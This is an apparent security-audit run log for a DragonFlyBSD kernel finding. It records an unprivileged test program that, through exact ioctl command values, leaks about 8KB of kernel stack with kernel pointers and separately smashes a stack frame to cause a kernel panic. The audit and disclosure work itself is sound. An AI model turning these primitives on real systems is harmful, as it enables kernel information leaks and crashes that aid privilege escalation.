⬢ DragonFlyBSD Kernel Audit
DF-4569 / run.log
← back to finding ↓ download raw 
DF-4569 run log -- decisive guest outputs (unabridged command transcripts)
=============================================================================
Guest: DragonFly dfbsd 6.5-DEVELOPMENT #0 X86_64_GENERIC (see env.txt)
Module: /root/df4569/dfioctl_rep.ko -- replica of drm_ioctl() dispatch
        semantics: dispatch on (cmd & 0xff) only; handlers byte-faithful to
        drm_getmagic / drm_getstats.

$ id
uid=1001(maxx) gid=1001(groups=1001(maxx))

[1] LEAK -- /tmp/df_primitive leak 2048   (cmd=0x68006402, nr=0x02 = GET_MAGIC)
---------------------------------------------------------------------------
mode=leak size=2048 cmd=0x68006402 (nr=0x02)
ioctl returned 0

--- first 512 bytes received ---
00000000: 5a 5a 5a 5a 08 00 00 00 03 ca 0c 81 ff ff ff ff  |ZZZZ............|
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000020: 03 f9 11 18 01 f8 ff ff 80 1a 0f 18 01 f8 ff ff  |................|
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000040: 4c 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00  |L...............|
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000060: 00 90 4a 00 08 00 00 00 80 52 31 8d 00 f8 ff ff  |..J......R1.....|
00000070: 4c 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00  |L...............|
00000080: f8 f9 11 18 01 f8 ff ff f8 f9 11 18 01 f8 ff ff  |................|
00000090: 80 52 31 8d 00 f8 ff ff 90 bd 0c 81 ff ff ff ff  |.R1.............|
000000a0: 80 b8 97 89 00 f8 ff ff c0 5e 99 89 00 f8 ff ff  |.........^.......|
000000b0: e8 f9 11 18 01 f8 ff ff 0e 6a bd 80 ff ff ff ff  |........j.......|
000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000d0: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000e0: 06 02 00 00 00 00 00 00 36 00 00 00 00 00 00 00  |................|
000000f0: 00 00 00 00 00 00 00 00 00 f4 49 00 08 00 00 00  |..........I.....|
00000100: f8 f9 11 18 01 f8 ff ff 98 62 bd 80 ff ff ff ff  |.........b.......|
00000110: 00 00 01 00 00 00 00 00 03 00 00 00 00 00 00 00  |................|
00000120: 00 20 8c 81 ff ff ff ff 80 b8 97 89 00 f8 ff ff  |. ..............|
00000130: c0 5e 99 89 00 f8 ff ff c0 5e 99 89 00 f8 ff ff  |.^.......^.......|
00000140: 42 b2 65 80 ff ff ff ff 00 00 00 00 00 00 00 00  |B.e.............|
...
--- kernel-pointer-looking qwords (0xffffxxxxxxxxxxxx): 19 in first 512 bytes,
    30 in all 2048 ---

Notable: offset 0..3 = handler's 4-byte write (0x5a5a5a5a, the drm_getmagic
"auth->magic" slot); offset 0x1d8 = 0x00007fff... (user pointer from the
syscall trapframe); 0xffff810c.../0xfffff801.../0xffffffff80... = kernel
text/stack/direct-map pointers.

[2] LEAK stability -- 3 consecutive runs
---------------------------------------------------------------------------
run1: 30 kernel ptrs, md5 f3e5a89d503f53c48a74b458ee03b1a5
run2: 27 kernel ptrs, md5 ad8bbe785615c9bdde0c2d0be97f7c26
run3: 30 kernel ptrs, md5 0bd6620068cd62dfa8304fc04046cba6
=> live, varying kernel stack contents on every run.

[3] LEAK at maximum size -- /tmp/df_primitive leak 8191 (IOCPARM_MAX)
---------------------------------------------------------------------------
mode=leak size=8191 cmd=0x7fff6402 (nr=0x02)
ioctl returned 0
kernel-pointer-looking qwords: 27 in all 8191
=> the final copyout ships ~8KB of kernel stack past the 128-byte buffer;
   no fault, data fully delivered to unprivileged userspace.

[4] SMASH -- /tmp/df_primitive smash 8   (cmd=0x40086406, nr=0x06 = GET_STATS)
---------------------------------------------------------------------------
mode=smash size=8 cmd=0x40086406 (nr=0x06)
   [serial console immediately after:]
Fatal user address access from kernel mode from df_primitive at 0000000000000000

Fatal trap 12: page fault while in kernel mode
cpuid = 2; lapic id = 2
fault virtual address   = 0x0
fault code              = supervisor read instruction, page not present
instruction pointer     = 0x8:0x0
stack pointer           = 0x10:0xfffff8011863f938
frame pointer           = 0x10:0x0
current process         = 1059        (unprivileged df_primitive)
kernel: type 12 trap, code=10
CPU2 stopping CPUs ... Stopped at 0: [db> prompt]

=> drm_getstats()-semantics handler (memset 248 bytes, sys/dev/drm/drm_ioctl.c:221)
   executed against mapped_ioctl()'s 128-byte on-stack buffer (sys/kern/sys_generic.c:674-680,
   because drm_ioctl() ignores the user's size bits): 120 bytes of the kernel
   stack frame past ubuf.stkbuf zeroed, return address becomes 0, deterministic
   kernel-mode page fault at RIP=0 on return. Full console capture in panic.txt.